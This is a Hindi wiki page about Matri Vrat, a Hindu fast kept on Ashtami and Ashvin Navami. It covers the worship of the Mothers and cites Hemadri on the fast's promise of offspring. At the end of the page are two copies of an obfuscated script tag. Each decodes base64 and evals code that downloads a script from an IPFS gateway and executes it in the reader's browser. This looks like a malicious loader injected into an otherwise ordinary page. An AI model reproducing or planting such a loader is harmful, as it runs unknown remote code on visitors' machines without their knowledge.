मातृ व्रत

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) द्वारा परिवर्तित 11:07, 11 सितम्बर 2010 का अवतरण (Text replace - "==संबंधित लिंक==" to "==सम्बंधित लिंक==")
यहाँ जाएँ:नेविगेशन, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • यह व्रत अष्टमी पर रखा जाता है।
  • तिथि; देवता, माताएँ; उपवास; माताओं से भक्तिपूर्वक क्षमा करना चाहिए।
  • माताएँ कल्याण एवं स्वास्थ्य देती हैं।[1]
  • आश्विन नवमी पर राजा तथा उनकी जाति के लोगों को माताओं (नाम दिय गये हैं) की पूजा करनी चाहिए और सफलता प्राप्त करनी चाहिए।
  • ऐसी मान्यता है कि वह नारी, जिसके पुत्र मृत हो जाते हैं अथवा जिसकी केवल एक सन्तान हो, इस व्रत के सम्पादन से सन्ततिव्रती होती है।[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रत0 1, 873)
  2. हेमाद्रि (व्रत0 1, 951-952)

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>